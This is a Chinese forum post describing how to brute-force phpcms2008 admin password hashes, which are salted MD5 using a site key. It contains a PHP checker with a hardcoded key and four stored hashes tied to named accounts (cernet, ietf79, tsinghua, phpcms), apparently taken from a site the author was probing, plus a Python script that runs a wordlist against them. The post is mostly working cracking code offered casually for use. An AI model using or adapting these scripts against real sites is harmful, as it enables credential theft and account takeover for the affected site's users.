说明下,这个确实比较蛋疼没啥意义,是在我之前检测一个站的时候发现是phpcms2008的,看了下加密方式,随便就弄了个试了下,发现代码版块帖子太少了实在不忍心干脆发来凑个数,admin别ban我ID啊,呵呵。

    phpcms2008的加密方式:

$password = md5(PASSWORD_KEY.$password);

    要暴力破解密码就必须知道这个 PASSWORD_KEY,在网站配置文件里面,然后再从数据库里把密文读出来。

    我写了个极其丑陋的php脚本(其实我不懂php,随便乱来的):

以下是引用片段:

<?php
function password($password){
$PASSWORD_KEY="wangzhifeng";
return md5($PASSWORD_KEY.$password);
}
$pass=$_GET[p];
$md5pass=password($pass);
echo ("<br />密文<br />");
echo $md5pass;
echo ("<br />");
if ($md5pass=='0cd2aae578f41764692bd1587a10821c'){
echo ("yesigotit username:cernet md5:$md5pass password:$pass");
}
if ($md5pass=='5d9404a3765fdf30e2d339b228f7353b'){
echo ("yesigotit username:ietf79 md5:$md5pass password:$pass");
}
if ($md5pass=='e10adc3949ba59abbe56e057f20f883e'){
echo ("yesigotit username:phpcms md5:$md5pass password:$pass");
}
if ($md5pass=='1144f6bf03ed0ea3284585d12696292a'){
echo ("yesigotit username:tsinghua md5:$md5pass password:$pass");
}

//if ($md5pass=='7a05fa1036fa14a7b042ef40107b8936'){ //123456
//echo ("yesigotit username:tsinghua md5:$md5pass password:$pass");
//}
?>

    浏览器访问:/p.php?p=明文密码,然后我又写了个python脚本来批量爆破。

以下是引用片段:

#!/usr/bin/python
import urllib2
import sys
def main():
passfile=sys.argv[1]
p=file(passfile)

for password in p.readlines():
# print password
res=urllib2.urlopen("http://www.baidu.com/p.php?p="+password).read()
if 'yesigotit' in res:
print res
p.close()

if __name__=="__main__":
main()

    然后生成个字典,chmod u+x ps.py && ./ps.py pass.txt 就这个样子。其实速度还是蛮快的,多叫几个人一块来,哈哈,人肉分布式破解。